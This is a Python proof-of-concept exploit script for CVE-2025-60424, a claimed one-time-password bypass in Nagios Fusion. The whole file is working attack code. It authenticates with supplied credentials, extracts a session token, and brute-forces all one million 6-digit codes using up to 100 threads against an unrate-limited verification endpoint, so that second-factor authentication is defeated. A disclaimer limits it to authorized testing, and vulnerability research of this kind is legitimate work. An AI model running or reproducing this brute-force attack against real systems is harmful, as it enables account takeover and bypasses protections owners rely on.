#!/usr/bin/env python3
"""
CVE-2025-60424 PoC - Nagios Fusion OTP Bypass via Brute Force Attack
Note: This PoC is for educational and authorized testing purposes only.
Author: Based on research by aakashtyal
"""
import requests
import sys
import itertools
from concurrent.futures import ThreadPoolExecutor, as_completed
import string
import time
class NagiosFusionOTPBypass:
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.authenticated = False
self.otp_session_token = None
def login(self):
"""Step 1: Authenticate with username and password"""
login_url = f"{self.target_url}/nagiosfusion/api/login"
data = {
'username': self.username,
'password': self.password
}
try:
response = self.session.post(login_url, data=data, timeout=30)
if response.status_code == 200:
result = response.json()
if result.get('success'):
self.authenticated = True
return True
except Exception as e:
print(f"[-] Login failed: {e}")
return False
def get_otp_page(self):
"""Step 2: Navigate to OTP verification page to establish session"""
otp_url = f"{self.target_url}/nagiosfusion/otp/verify"
try:
response = self.session.get(otp_url, timeout=30)
if response.status_code == 200:
# Extract OTP session token if present in response
if 'otp_session' in response.text or 'request_key' in response.text:
self.otp_session_token = self.extract_token(response.text)
return True
except Exception as e:
print(f"[-] OTP page access failed: {e}")
return False
def extract_token(self, html_content):
"""Extract CSRF or session token from HTML"""
import re
patterns = [
r'otp_session[\s]*=[\s]*["\']([a-zA-Z0-9]+)["\']',
r'request_key[\s]*=[\s]*["\']([a-zA-Z0-9]+)["\']',
r'name=["\']csrf_token["\'][\s]+value=["\']([a-zA-Z0-9]+)["\']'
]
for pattern in patterns:
match = re.search(pattern, html_content)
if match:
return match.group(1)
return None
def try_otp(self, otp_code):
"""Step 3: Try a single OTP code - NO RATE LIMITING VULNERABILITY"""
otp_verify_url = f"{self.target_url}/nagiosfusion/api/otp/verify"
data = {
'otp_code': otp_code,
'session_key': self.otp_session_token or ''
}
try:
# No rate limiting allows rapid-fire requests
response = self.session.post(otp_verify_url, data=data, timeout=10)
if response.status_code == 200:
result = response.json()
if result.get('success') or result.get('verified'):
return True, otp_code
return False, otp_code
except:
return False, otp_code
def brute_force_otp(self, max_attempts=1000000, threads=50):
"""
Step 4: Brute force OTP codes
Since there's NO RATE LIMITING, we can try all combinations rapidly
"""
print(f"[*] Starting OTP brute force attack (6-digit codes)")
print(f"[*] Using {threads} threads for parallel requests")
print(f"[*] Target: {self.target_url}")
start_time = time.time()
attempts = 0
# Generate all 6-digit OTP combinations
for i in range(0, min(max_attempts, 1000000), 10000):
otp_batch = [f'{j:06d}' for j in range(i, min(i + 10000, max_attempts))]
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(self.try_otp, otp): otp for otp in otp_batch}
for future in as_completed(futures):
attempts += 1
success, code = future.result()
if success:
elapsed = time.time() - start_time
print(f"\n[+] SUCCESS! OTP found: {code}")
print(f"[+] Attempts: {attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
return True, code
if attempts % 10000 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
print(f"[*] Progress: {attempts} attempts, {rate:.1f} req/s")
return False, None
def main():
if len(sys.argv) < 4:
print("Usage: python3 cve-2025-60424-poc.py <target_url> <username> <password>")
print("Example: python3 cve-2025-60424-poc.py https://nagios-fusion.local admin password123")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
print("=" * 60)
print("CVE-2025-60424 - Nagios Fusion OTP Bypass PoC")
print("=" * 60)
exploit = NagiosFusionOTPBypass(target, username, password)
# Step 1: Login with valid credentials
print("\n[Step 1] Authenticating with provided credentials...")
if not exploit.login():
print("[-] Failed to authenticate. Check credentials.")
sys.exit(1)
print("[+] Successfully authenticated")
# Step 2: Access OTP page
print("\n[Step 2] Accessing OTP verification page...")
if not exploit.get_otp_page():
print("[-] Failed to access OTP page")
sys.exit(1)
print("[+] OTP page accessed")
# Step 3 & 4: Brute force OTP
print("\n[Step 3] Starting OTP brute force attack...")
print("[!] WARNING: This is a proof-of-concept for authorized testing only")
print("[!] Vulnerability: No rate limiting on OTP verification endpoint")
success, otp = exploit.brute_force_otp(max_attempts=1000000, threads=100)
if success:
print("\n" + "=" * 60)
print("[!] 2FA BYPASSED - Authentication Complete")
print(f"[!] Valid OTP: {otp}")
print("=" * 60)
else:
print("\n[-] OTP not found within attempt limit")
if __name__ == "__main__":
main()